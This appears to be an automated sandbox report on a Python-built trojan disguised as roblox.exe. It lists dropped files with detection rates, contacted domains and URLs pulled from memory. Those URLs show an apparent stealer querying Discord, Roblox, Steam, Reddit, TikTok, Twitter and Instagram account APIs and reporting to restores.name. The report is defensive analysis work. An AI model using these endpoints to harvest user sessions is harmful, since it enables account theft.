C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\python310.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	50%	ReversingLabs	Win64.Trojan.PySpy
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_helpers_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\yarl\_quoting_c.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).	0%	Avira URL Cloud	safe
https://www.attrs.org/en/24.2.0/_static/sponsors/	0%	Avira URL Cloud	safe
https://www.attrs.org/)	0%	Avira URL Cloud	safe
http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/why.html#data-classes)	0%	Avira URL Cloud	safe
https://www.attrs.org/en/latest/names.html)	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)	0%	Avira URL Cloud	safe
https://restores.name/logaOKJ86FM1CLE9MMZg	0%	Avira URL Cloud	safe
https://filepreviews.io/	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/changelog.html	0%	Avira URL Cloud	safe
https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-config	0%	Avira URL Cloud	safe
https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0749/)-implementing	0%	Avira URL Cloud	safe
https://www.variomedia.de/	0%	Avira URL Cloud	safe
https://www.attrs.org/	0%	Avira URL Cloud	safe
https://hynek.me/articles/import-attrs/)	0%	Avira URL Cloud	safe
https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).	0%	Avira URL Cloud	safe
https://bugs.python.org/issue37179	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
restores.name	135.181.65.219	true	false		unknown
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://account.riotgames.com/api/account/v1/user	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://accounts.reddit.com/api/access_token	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9	stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/issues/8996	roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/251	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.00000289598FD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2232354797.00000289598FD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2569364627.00000289598FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://klaviyo.com/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiktok.com/	stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.python.org/dev/peps/pep-0506/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://i.instagram.com/api/v1/accounts/current_user/?edit=trueuhttps://i.instagram.com/api/v1/users	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/aio-libs/aiohttp/discussions/6044	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2566816357.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2573560202.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573264823.0000028959CB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://python.org/dev/peps/pep-0263/	roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581607529.00007FF8A8E13000.00000002.00000001.01000000.00000005.sdmp	false		high
https://www.attrs.org/en/24.2.0/_static/sponsors/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://python.org:80	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573264823.0000028959CB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/sponsors/hynek	stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1328)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oauth.reddit.com/api/v1/me	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ibm.com/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://twitter.com	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.reddit.com/user/acomment_karmaatotal_karmaais_modais_goldais_suspendedaprofileUrlu	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://gql.twitch.tv/gqlT	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://twitter.com/home	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.roblox.com/my/account/jsonuhttps://economy.roblox.com/v1/users/aresaUserIdu/currencyuhtt	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.kill	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573264823.0000028959CB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/136	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.dhimyotis.com/certignarootca.crl	stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2560211642.000002895A301000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://ocsp.accv.es	stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://speleotrove.com/decimal/decarith.html	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2572985985.0000028959A30000.00000004.00001000.00020000.00000000.sdmp	false		high
https://restores.name/logaOKJ86FM1CLE9MMZg	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs/issues/1329)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap	stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	false		high
http://json.org	stub.exe, 00000003.00000003.2567659423.00000289595C4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2570477204.000002895956A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572451024.0000028959810000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/avatars/u.pngu.gifuunsupported	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1330)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://open.spotify.com/user/u	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://discord.com/api/v8/guilds/u/invitesainvitesuhttps://discord.gg/acodeulogs	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/v8/users/	stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.attrs.org/en/latest/names.html)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.twitch.tv/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://accounts.reddit.com/api/access_tokenaaccess_tokenuandroid:com.example.myredditapp:v1.2.3uBea	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://open.spotify.com/user/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	false		high
https://filepreviews.io/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	stub.exe, 00000003.00000002.2573379451.0000028959DD0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/why.html#data-classes)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.securetrust.com/STCA.crl	stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	false		high
http://wwwsearch.sf.net/):	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/legislacion_c.htm	stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/stable/changelog.html	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-config	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://cffi.readthedocs.io/en/latest/using.html#callbacks	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2584079623.00007FF8B7E4B000.00000002.00000001.01000000.0000000F.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl0	stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://thumbnails.roblox.com/v1/users/avatar?userIds=	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://www.variomedia.de/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue37179	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2566816357.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2573560202.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cert.fnmt.es/dpcs/	stub.exe, 00000003.00000003.2559320224.000002895A3FF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2563377401.000002895A415000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2574634502.000002895A414000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://www.accv.es00	stub.exe, 00000003.00000003.2558492831.000002895A3EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A384000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.reddit.com/user/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/pyca/cryptography/issues	stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2575588410.000002895A948000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.attrs.org/	stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mahler:8092/site-updates.py	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2567659423.00000289595C4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl	stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	false		high
